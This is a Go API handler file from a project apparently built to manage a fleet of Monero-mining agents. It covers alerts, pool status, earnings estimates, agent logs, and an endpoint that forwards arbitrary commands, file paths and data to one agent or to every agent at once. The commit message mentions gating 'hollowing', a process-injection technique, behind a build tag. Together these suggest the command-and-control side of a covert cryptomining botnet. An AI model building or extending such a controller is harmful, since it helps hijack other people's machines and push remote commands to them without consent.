Correct AI uptime/reinstall/sleep, broaden live stats over WebSocket, fix blueprint delete JSON, gate hollowing behind build tag, and stop stale server binds on restart.
168 lines
4.2 KiB
Go
168 lines
4.2 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"strconv"
|
|
|
|
"crypto-miner-server/internal/alerts"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/pool"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
)
|
|
|
|
type FleetHandler struct {
|
|
db *db.Database
|
|
ws *WSHub
|
|
ai *AIHandler
|
|
pools *pool.Manager
|
|
alerts *alerts.Evaluator
|
|
defaultPool pool.Config
|
|
}
|
|
|
|
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
|
return &FleetHandler{
|
|
db: database,
|
|
ws: ws,
|
|
ai: ai,
|
|
pools: pools,
|
|
alerts: evaluator,
|
|
defaultPool: defaultPool,
|
|
}
|
|
}
|
|
|
|
func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
|
|
if f.alerts == nil {
|
|
writeJSON(w, []alerts.AlertEvent{})
|
|
return
|
|
}
|
|
writeJSON(w, f.alerts.ActiveAlerts())
|
|
}
|
|
|
|
func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
|
|
if f.pools == nil {
|
|
writeJSON(w, []pool.PoolStatus{})
|
|
return
|
|
}
|
|
writeJSON(w, f.pools.ListStatus())
|
|
}
|
|
|
|
func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
|
if f.ai == nil {
|
|
writeJSON(w, []AIActivityEntry{})
|
|
return
|
|
}
|
|
writeJSON(w, f.ai.ActivitySnapshot())
|
|
}
|
|
|
|
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
|
hashrate := parseFloatQuery(r, "hashrate", 0)
|
|
writeJSON(w, EstimateXMRPerDay(hashrate))
|
|
}
|
|
|
|
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
if r.URL.Query().Get("refresh") == "1" {
|
|
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"agent_id": id,
|
|
"content": f.ws.GetAgentLog(id),
|
|
})
|
|
}
|
|
|
|
type agentCommandRequest struct {
|
|
Action string `json:"action"`
|
|
TailLines int `json:"tail_lines,omitempty"`
|
|
Command string `json:"command,omitempty"`
|
|
Path string `json:"path,omitempty"`
|
|
Data string `json:"data,omitempty"`
|
|
}
|
|
|
|
func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
|
|
id := chi.URLParam(r, "id")
|
|
var req agentCommandRequest
|
|
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
|
http.Error(w, "invalid command", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if req.Action == "" {
|
|
http.Error(w, "action is required", http.StatusBadRequest)
|
|
return
|
|
}
|
|
if f.ws == nil {
|
|
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
args := map[string]interface{}{}
|
|
if req.TailLines > 0 {
|
|
args["tail_lines"] = req.TailLines
|
|
}
|
|
if req.Command != "" {
|
|
args["command"] = req.Command
|
|
}
|
|
if req.Path != "" {
|
|
args["path"] = req.Path
|
|
}
|
|
if req.Data != "" {
|
|
args["data"] = req.Data
|
|
}
|
|
|
|
if id == "all" {
|
|
if f.ws.connectedAgentCount() == 0 {
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": false,
|
|
"error": "no connected agents",
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
return
|
|
}
|
|
f.ws.BroadcastAgentCommand(req.Action, args)
|
|
} else {
|
|
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
}
|
|
writeJSON(w, map[string]interface{}{
|
|
"success": true,
|
|
"agent_id": id,
|
|
"action": req.Action,
|
|
})
|
|
}
|
|
|
|
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
|
|
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
|
|
const networkHashrate = 3_000_000_000.0
|
|
const dailyEmissionXMR = 432.0
|
|
xmr := 0.0
|
|
if hashrate > 0 && networkHashrate > 0 {
|
|
xmr = (hashrate / networkHashrate) * dailyEmissionXMR
|
|
}
|
|
return map[string]interface{}{
|
|
"hashrate": hashrate,
|
|
"xmr_per_day": xmr,
|
|
"usd_per_day": nil,
|
|
"network_hashrate": networkHashrate,
|
|
"note": "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
|
|
}
|
|
}
|
|
|
|
func parseFloatQuery(r *http.Request, key string, def float64) float64 {
|
|
v := r.URL.Query().Get(key)
|
|
if v == "" {
|
|
return def
|
|
}
|
|
f, err := strconv.ParseFloat(v, 64)
|
|
if err != nil {
|
|
return def
|
|
}
|
|
return f
|
|
}
|